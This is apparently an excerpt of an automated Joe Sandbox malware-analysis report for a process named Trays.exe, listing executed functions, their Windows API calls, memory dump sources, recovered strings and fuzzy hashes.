Opcode Fuzzy Hash: b06d16e2630d02eb3155889febcb3b8f22691344f76d3e0675e5c106cf02d1ab
Instruction Fuzzy Hash: EC218EF1F042646EFF215579BC8576B3A889B16304FA5806BD891C2343EE7D8CC583AB

Analysis Process: Trays.exePID: 2476, Parent PID: 6028COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	50.6%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	5

Executed Functions

Function 0040DB44 Relevance: 1.5, APIs: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000), ref: 0040DB60

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ff141cc2e3688794e8a2fb639225409969a597f49bea793a2b77fab7c4718659
Instruction ID: 748bfc4d5e02c110cc23d6c5cdd32b3fdce779459f249be63df0214d6fbc6368
Opcode Fuzzy Hash: ff141cc2e3688794e8a2fb639225409969a597f49bea793a2b77fab7c4718659
Instruction Fuzzy Hash: A301FF71C0420CAACF11EBE5CD459DFB7BCAB44314F1046A6A514F72C1E638AB448B95

Function 0040DDDC Relevance: 1.5, APIs: 1, Instructions: 37
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNEL32(00000000), ref: 0040DE09

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e6e102debf8a5380534e75c1574eb971282807a3ec6408ffcb3bdbbc3a907a21
Instruction ID: 6122719a5bd6423ab2a47ccc8141c45b1b754f0e143b69604eeb7a7162d8a02e
Opcode Fuzzy Hash: e6e102debf8a5380534e75c1574eb971282807a3ec6408ffcb3bdbbc3a907a21
Instruction Fuzzy Hash: 9D010870D006099BCB00DF99C84559EB7B0FF04314F1046BAA428BB391D7389A40CB85

Function 04AA9DC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 04AA9C74: GetProcAddress.KERNEL32(04AAC330,00000000), ref: 04AA9CF6

PostMessageA.USER32(?,?,?,?), ref: 04AA9DFF

Strings

PostMessageA, xrefs: 04AA9DE1

Memory Dump Source

Source File: 00000029.00000002.21467718877.0000000004AA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 04AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_4aa1000_Trays.jbxd

Similarity

API ID: AddressMessagePostProc
String ID: PostMessageA
API String ID: 1993549440-3140657398
Opcode ID: 3af736d47aab316a1e1e0103fd30d524296a94cb69f076d526f7229c3ae33a92
Instruction ID: 517e43be28f160760b59bcb792ed9c65c329bb75dc77b5a6651933cc7ce523d2
Opcode Fuzzy Hash: 3af736d47aab316a1e1e0103fd30d524296a94cb69f076d526f7229c3ae33a92
Instruction Fuzzy Hash: DCF0BDB5D002189FDB50DFE8D8446DFF7FCAB08214F104A55A914E7341D734AA209B94

Function 00403918 Relevance: 1.6, APIs: 1, Instructions: 69
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000000,C0000000,?,00000000,00000002,00000080,00000000), ref: 004039B3

Memory Dump Source

Source File: 00000029.00000002.21459930645.0000000000403000.00000020.00000001.01000000.00000008.sdmp, Offset: 00403000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_403000_Trays.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 64dd86a98dfd67f2ba8bf55eecb8f7f88e9176f897a121a7ba6fbb3d7ad30ac8
Instruction ID: f430c53b2ef6d4a55ca7ec7e49562396a581d4a3403624793337386006ca327c
Opcode Fuzzy Hash: 64dd86a98dfd67f2ba8bf55eecb8f7f88e9176f897a121a7ba6fbb3d7ad30ac8
Instruction Fuzzy Hash: 0911F6A120420059E7149F1988897166D5D9F81716F2883BBA449AF3E6D6BC8A44939E

Function 0040D994 Relevance: 1.5, APIs: 1, Instructions: 36
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000000), ref: 0040D9F4

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 755b513b66d02a7ac470c428b0d202dcb4a5521f8d76b14b9871dbcbb10f4231
Instruction ID: de3294ae11834e0e75170b091572cb0d027394e24dc50a1a43e099bd595cd06f
Opcode Fuzzy Hash: 755b513b66d02a7ac470c428b0d202dcb4a5521f8d76b14b9871dbcbb10f4231
Instruction Fuzzy Hash: 7AF03CB1E0064CABDB20DB9CDC82B4EB7B4EB05714F1042A1F424FB3C0C278AA509B49

Function 00405000 Relevance: 1.5, APIs: 1, Instructions: 26
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(?,?,00404FC4,00000000,?,?), ref: 00405032

Memory Dump Source

Source File: 00000029.00000002.21459930645.0000000000405000.00000020.00000001.01000000.00000008.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_405000_Trays.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: db7a0ebc8dac348e930320d343d01a4832e9002728855136780ce1379cd710cb
Instruction ID: 9868facc12a4fe35ba30a0e3a6ef9300ee2a5d50f4f58ae74fab94955e09e38e
Opcode Fuzzy Hash: db7a0ebc8dac348e930320d343d01a4832e9002728855136780ce1379cd710cb
Instruction Fuzzy Hash: 96E0E5B6200114ABD340DA5E9C44E9BABECEFD9328B11C16AB90CE72A2C574880587B4

Function 0040DE48 Relevance: 1.5, APIs: 1, Instructions: 24
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileA.KERNEL32(?,?), ref: 0040DE5F

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 67a990705689ec06b45837d582591c9401892ae420851c88646fc597345079f1
Instruction ID: 5181e9f1019eef8e8e5b9ca6f42fabffc622a4311abcfd009dd117793cbd883b
Opcode Fuzzy Hash: 67a990705689ec06b45837d582591c9401892ae420851c88646fc597345079f1
Instruction Fuzzy Hash: BEE0ED71D08208EFDB40DBE9D94298D77F8AF14254B2000AAE404F7281EA34EA409759

Function 0040DA56 Relevance: 1.5, APIs: 1, Instructions: 24
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040DA79

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4cb18adebd8b4bb3d27d974246fbb8fc76eac4d28102e090c80fcd7e1b8092d3
Instruction ID: 14e5a3da8a9dfb6c079094981f07d5d843ccd5414590da8d0f86c954d81fc627
Opcode Fuzzy Hash: 4cb18adebd8b4bb3d27d974246fbb8fc76eac4d28102e090c80fcd7e1b8092d3
Instruction Fuzzy Hash: 43E059B5E04209ABDB50DEDDDC41AAEB7FCAB08314F1046A5B928E7380E7349A008B95

Function 0040DAF4 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,?), ref: 0040DB1C

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 24088a72eb5c611e2227de5dc89cc3fe86a0ac7f25fccd3eb8ff43237ca904a8
Instruction ID: 39e6efff3915d474b9535c51db54f27ff0a268f22563f21b6ddfbfd9e9340c5b
Opcode Fuzzy Hash: 24088a72eb5c611e2227de5dc89cc3fe86a0ac7f25fccd3eb8ff43237ca904a8
Instruction Fuzzy Hash: 56F022B5D0020CEF8B40DFD9C8819DEBBF8AB08210F1086A6A958E7340E630AB509B91

Function 0040DA58 Relevance: 1.5, APIs: 1, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040DA79

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 2db0a698213bfec23cbbe390486a5163c5c4d083a53de4127c7ecf0557c261f4
Instruction ID: 3892127834060a40671734689fb52ea75faab406bcf4ac04240d8793c45448c5
Opcode Fuzzy Hash: 2db0a698213bfec23cbbe390486a5163c5c4d083a53de4127c7ecf0557c261f4
Instruction Fuzzy Hash: CBE07DB5D0420DABCB50DFDDDC41AAEB7FCAB08314F1046A5B928E7380E7349A008B95

Function 0040DA90 Relevance: 1.5, APIs: 1, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0040DAB1

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 8dddac056278adecd1a6735c940ddd0e7f6a512f96ea4a112e83323effdbc07e
Instruction ID: 5126c2a708bd691ab6fdcffe25b82d915e589c805d7f57d25c5be6d2a02174d1
Opcode Fuzzy Hash: 8dddac056278adecd1a6735c940ddd0e7f6a512f96ea4a112e83323effdbc07e
Instruction Fuzzy Hash: 73E07DB5E0420DAFCB50DFDDCC41AAEB7FCAB08324F1046A5B928E7381E7349A008B55

Function 0040DBD4 Relevance: 1.5, APIs: 1, Instructions: 21
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0040DBE6

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: ce680b3872d523c84dabd92bb191e72fa89904296643bc56b9bd93f715a18f74
Instruction ID: 873655738806c07907e1716ce04be425cbd9c59a8a1fec5998c7cfb8dfba1798
Opcode Fuzzy Hash: ce680b3872d523c84dabd92bb191e72fa89904296643bc56b9bd93f715a18f74
Instruction Fuzzy Hash: B8E04830C0824CA9CF10DAF948055DEBBB48B15324F1586F6DC74773D1D6795B05AF56

Function 0040DA04 Relevance: 1.5, APIs: 1, Instructions: 20
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(00000000), ref: 0040DA28

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7900602fef25317ffc8de1b1160873a4fb757b518a0ad8a9b7ff6ef27e7162e7
Instruction ID: be3d8b90435f1080e2030f4b463b409b57e26f0f337c737d612ca40f36be3a7e
Opcode Fuzzy Hash: 7900602fef25317ffc8de1b1160873a4fb757b518a0ad8a9b7ff6ef27e7162e7
Instruction Fuzzy Hash: 04E01230E44308BAEB2096A49C47F8D77A4D701B24F604166B214BB2C1EA757A00474D

Function 0040DAC8 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,00000000,?), ref: 0040DAE5

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 47c1f21d09578717b0fcfd5cadf21cb3ea347b191d8e0f87371f34406ae2bb38
Instruction ID: 09f6df2d8612600ed8b0da20115de407fba9ba8276b170be78955fea16b3dbfe
Opcode Fuzzy Hash: 47c1f21d09578717b0fcfd5cadf21cb3ea347b191d8e0f87371f34406ae2bb38
Instruction Fuzzy Hash: 6FE026B5D0520CAFCB50DFDDD841A9EBBF8AB08314F1046A9F928E7381E6756A108B95

Function 00407B7E Relevance: 1.5, APIs: 1, Instructions: 19
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(?,?,?), ref: 00407B97

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: aac90e20a50084a577ced6f325ddde7fae3f822483f87fcda839c5e40715e318
Instruction ID: 751d3c07f1bd4ffed392ed2fa52f1ab306a2e6ed8cdcb577f708f19d6ec117e7
Opcode Fuzzy Hash: aac90e20a50084a577ced6f325ddde7fae3f822483f87fcda839c5e40715e318
Instruction Fuzzy Hash: F9D05E73A14208FFCB00DFADDC05D9E73ECEB18218B108429F418D7100D239EA009B24

Function 0040E374 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000), ref: 0040E388

Memory Dump Source

Source File: 00000029.00000002.21460713916.000000000040E000.00000020.00000001.01000000.00000008.sdmp, Offset: 0040E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40e000_Trays.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: 22fb2b40fd4a8a2b06b1df012c408dbb98098f3d657913b9e6ad7938e86941f1
Instruction ID: 7692d76ef111b5ee836ebe9a31fd2cade93273b66ac128e7a7857973ef40951a
Opcode Fuzzy Hash: 22fb2b40fd4a8a2b06b1df012c408dbb98098f3d657913b9e6ad7938e86941f1
Instruction Fuzzy Hash: 45D05B31C18388ADDF00A6B85803A9D77F8C701118F1001B6E454E71C1E5736700575A

Function 00407B80 Relevance: 1.5, APIs: 1, Instructions: 18synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(?,?,?), ref: 00407B97

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 485a42cfd74afe0bd6fd3a83a5c21534c4123a8668d01e8793639fac456bf432
Instruction ID: ba48da0fededa176f6dc3af391a092b94f439a61e1cbd7d27dbfdd19b8a8d2fb
Opcode Fuzzy Hash: 485a42cfd74afe0bd6fd3a83a5c21534c4123a8668d01e8793639fac456bf432
Instruction Fuzzy Hash: ADD05E73914208FFCB00DFA9D805D8E73ECEB18218B108429F418D7100D239EA009B24

Function 0040DEB0 Relevance: 1.5, APIs: 1, Instructions: 17fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000), ref: 0040DEC2

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: c4df117b41d9e62c09e7a2e5a8d6c0adfcdc2e4c8a6b70b230a4bb51994bb300
Instruction ID: e5738bb7791b8de898c5e1854fb0686c034a705679e1600e86553b5ad0aaf8b7
Opcode Fuzzy Hash: c4df117b41d9e62c09e7a2e5a8d6c0adfcdc2e4c8a6b70b230a4bb51994bb300
Instruction Fuzzy Hash: 43D05B31C182889DCB0096B8580348D77F8C406118B1001B7E464E21C1E5326700571A

Function 00492030 Relevance: 1.5, APIs: 1, Instructions: 16windowCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(?,00000000,00000000,00000000), ref: 00492049

Memory Dump Source

Source File: 00000029.00000002.21460713916.0000000000492000.00000020.00000001.01000000.00000008.sdmp, Offset: 00492000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_492000_Trays.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 683740de0cd3d13bb211cf758aa42f942b25debe9a1cbd552a38c8d4252b203b
Instruction ID: 68d9acdafb4be76bf47316bff775b9cf17aaaf0e94ff3881b5f41db021c9233f
Opcode Fuzzy Hash: 683740de0cd3d13bb211cf758aa42f942b25debe9a1cbd552a38c8d4252b203b
Instruction Fuzzy Hash: 17D0A731D44308AFE710DA999D47F5D73EC9B00720F7001AAF514AB2C0E9727A00474C

Function 004058A0 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

SysAllocStringLen.OLEAUT32(?,?,00000000,00405BB6), ref: 004058AB

Memory Dump Source

Source File: 00000029.00000002.21459930645.0000000000405000.00000020.00000001.01000000.00000008.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_405000_Trays.jbxd

Similarity

API ID: AllocString
String ID:
API String ID: 2525500382-0
Opcode ID: a2cc117508db4ab2b938fbdb011b3aa8dd7d6cc0c5f525d5aa23045a41fa81a7
Instruction ID: 90204f2cb19fc3b7579f323bb29da437b89a3ee6a8e0f6ea2d74df62dbe08371
Opcode Fuzzy Hash: a2cc117508db4ab2b938fbdb011b3aa8dd7d6cc0c5f525d5aa23045a41fa81a7
Instruction Fuzzy Hash: 49C01278101602ACFA052E214A4587B261CDE85300F44007FBC00A55E1D57CCC41B829

Function 0040503E Relevance: 1.5, APIs: 1, Instructions: 4threadCOMMON

Download Yara Rule

APIs

RtlExitUserThread.NTDLL ref: 00405041

Memory Dump Source

Source File: 00000029.00000002.21459930645.0000000000405000.00000020.00000001.01000000.00000008.sdmp, Offset: 00405000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_405000_Trays.jbxd

Similarity

API ID: ExitThreadUser
String ID:
API String ID: 3424019298-0
Opcode ID: 6e8d86b27b2097b407f0a02bd4581043f66e3382ee37946d2e4900d149ff9bc3
Instruction ID: 0b2d77c36f6589118b0ca0c09f3071299952812b38731f639c80d698c83ffc07
Opcode Fuzzy Hash: 6e8d86b27b2097b407f0a02bd4581043f66e3382ee37946d2e4900d149ff9bc3
Instruction Fuzzy Hash:

Function 0040DB30 Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0040DB3B

Memory Dump Source

Source File: 00000029.00000002.21460540022.000000000040D000.00000040.00000001.01000000.00000008.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_40d000_Trays.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fcd71d5b366576adf042c1e36319ad09c9f3eb5c7da91b6cb2018f7e6e5bc4bc
Instruction ID: ffc61799e0186f4fa3a489bf7ea91d87b1a53086d2ee172b3df64630a477a28d
Opcode Fuzzy Hash: fcd71d5b366576adf042c1e36319ad09c9f3eb5c7da91b6cb2018f7e6e5bc4bc
Instruction Fuzzy Hash: D3B09B71C4C30CBB8B04D7D9E501C4D77FC9504214750005AF10CD3141D5357A405669

Function 004070C4 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf11de5de857e82cfecb48b9085873f14fbdee92944c20be0f4ea78ea0460259
Instruction ID: 3258118cb7fe5fc0b0082802f3705eb23a3ef69d8f452aae5e35004cdf3a7df2
Opcode Fuzzy Hash: bf11de5de857e82cfecb48b9085873f14fbdee92944c20be0f4ea78ea0460259
Instruction Fuzzy Hash: E7F0F870604102AFE7508F19D808B63B7E9EF85711B2881AAF404DB2A4EB74AC418A26

Function 00414A40 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460713916.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_413000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb6cb85e59317d3e069581cff25ff5f9bd66edb2b8d26f9f3fd0e8ccdd6b368
Instruction ID: 118a00964a598dc712ee93eedb2704894825847e7f5cca6471979d3104990871
Opcode Fuzzy Hash: abb6cb85e59317d3e069581cff25ff5f9bd66edb2b8d26f9f3fd0e8ccdd6b368
Instruction Fuzzy Hash: 3DE0863488C3C828D701D3B6194679D7FE80B16704F4851DDE9C475382D5BB114A8B15

Function 00407080 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e60cb4945767619aba17da86e8a85bd83280a13d8f23fd196f03e66ea3d050c3
Instruction ID: 6053b45916b4980705cc669d154bf3d9a231b22630885f878471c47fb7f6adc4
Opcode Fuzzy Hash: e60cb4945767619aba17da86e8a85bd83280a13d8f23fd196f03e66ea3d050c3
Instruction Fuzzy Hash: ADC04CB4501141DFE710CF15C844B5377B5EF85711F2985D5B504DB175DB35AC41CA24

Non-executed Functions

Function 00407C5E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d169621ef0ad744901bf18302ea611413e676e1b659aff3bc43c30e7496ff965
Instruction ID: dc3fb23227c170f4891217de1dec53545c2a03b942f325137934420725eb549b
Opcode Fuzzy Hash: d169621ef0ad744901bf18302ea611413e676e1b659aff3bc43c30e7496ff965
Instruction Fuzzy Hash:

Function 00407D5E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4eb28926da90f1413f4df91209bd0cc00374f6c02aacc9a7350b048b7c8c92a9
Instruction ID: cfe384932ee36755eb9a7f7aad966542df387d042831166a89cc8d85aa6ff4db
Opcode Fuzzy Hash: 4eb28926da90f1413f4df91209bd0cc00374f6c02aacc9a7350b048b7c8c92a9
Instruction Fuzzy Hash:

Function 00407D0E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8571b2b6c9a46d354ebfe37aa0495fc22d9c8c21fc20de8096ca4f1ff89f1e31
Instruction ID: 34723043fe4ac3ea23cb71772065fd2a2289938e25966dd76471cb78fd3818fd
Opcode Fuzzy Hash: 8571b2b6c9a46d354ebfe37aa0495fc22d9c8c21fc20de8096ca4f1ff89f1e31
Instruction Fuzzy Hash:

Function 00407B2E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000029.00000002.21460255375.0000000000407000.00000040.00000001.01000000.00000008.sdmp, Offset: 00407000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_407000_Trays.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14443b77180213fad75cbdd17b606d300e29303de9a227fb2dd9b21041084752
Instruction ID: 1327e09510ba19ebfa2fd5d48c8203a954042976866813bd7ae889c5eb676f6c
Opcode Fuzzy Hash: 14443b77180213fad75cbdd17b606d300e29303de9a227fb2dd9b21041084752
Instruction Fuzzy Hash:

Function 0041325C Relevance: 11.5, Strings: 9, Instructions: 204COMMON

Download Yara Rule

Strings

(X, xrefs: 004134DD
AMPM, xrefs: 004134B6
AMPM , xrefs: 004134C5
:mm:ss, xrefs: 004134F2
mmmm d, yyyy, xrefs: 00413397
m/d/yy, xrefs: 00413369
:mm, xrefs: 004134D5
(X, xrefs: 00413411
(X, xrefs: 004134FA

Memory Dump Source

Source File: 00000029.00000002.21460713916.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_413000_Trays.jbxd

Similarity

API ID:
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy$(X$(X$(X
API String ID: 0-4584490
Opcode ID: 32115303afc680b9da84a35f2ca6292aef4b5ea059748ecf5d0d845927380b80
Instruction ID: 22edbe985a84719c9b989d53a584f74bb7e001345a36acf9cc05ef5d77d3292f
Opcode Fuzzy Hash: 32115303afc680b9da84a35f2ca6292aef4b5ea059748ecf5d0d845927380b80
Instruction Fuzzy Hash: 8B715130A00149ABDB00EBE9D841ADFBBB6EF48304F50847BF504B7695DA3CDE859B59

Function 00414560 Relevance: 8.8, Strings: 7, Instructions: 80COMMON

Download Yara Rule

Strings

)X, xrefs: 0041457D
L)X, xrefs: 00414624
(X, xrefs: 00414663
(X, xrefs: 0041464E
(X, xrefs: 0041466D
(X, xrefs: 00414677
h)X, xrefs: 0041460F

Memory Dump Source

Source File: 00000029.00000002.21460713916.0000000000413000.00000020.00000001.01000000.00000008.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_413000_Trays.jbxd

Similarity

API ID:
String ID: L)X$h)X$(X$(X$(X$(X$)X
API String ID: 0-492065139
Opcode ID: 1cd85bce2cca8d94366ed2dc4a23235a1dcfd997d0464ce17873689e08e5ec94
Instruction ID: 0927aec3e8ef5ee4a9ed0348b1b6848a9facbaa60e644e566bd678ca98072e30
Opcode Fuzzy Hash: 1cd85bce2cca8d94366ed2dc4a23235a1dcfd997d0464ce17873689e08e5ec94
Instruction Fuzzy Hash: 0021F0747005808BDB05B766F90262E3AD1EB81308F51853AF5847F7E6C93D9C859FAE

Function 04AA9C74 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(04AAC330,00000000), ref: 04AA9CF6

Strings

GetProcAddress, xrefs: 04AA9CB1
kernel32.dll, xrefs: 04AA9CA2
user32.dll, xrefs: 04AA9CCF

Memory Dump Source

Source File: 00000029.00000002.21467718877.0000000004AA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 04AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_4aa1000_Trays.jbxd

Similarity

API ID: AddressProc
String ID: GetProcAddress$kernel32.dll$user32.dll
API String ID: 190572456-2524697592
Opcode ID: 66f81e73fcc1024c337cb5f1832877bee382fe7474c8ee1953c186c954ebd6c5
Instruction ID: c849fa34154f2761ab1ed774d5cb43326a87745c6908ee26f3338017478e6244
Opcode Fuzzy Hash: 66f81e73fcc1024c337cb5f1832877bee382fe7474c8ee1953c186c954ebd6c5
Instruction Fuzzy Hash: A711F7B0D04249AFEB21EFA4E684799BBF8EB18325F441594E80097340E7786EA1CB60

Analysis Process: svchost.exePID: 7000, Parent PID: 6028COMMON

Execution Graph

Execution Coverage:	7.7%
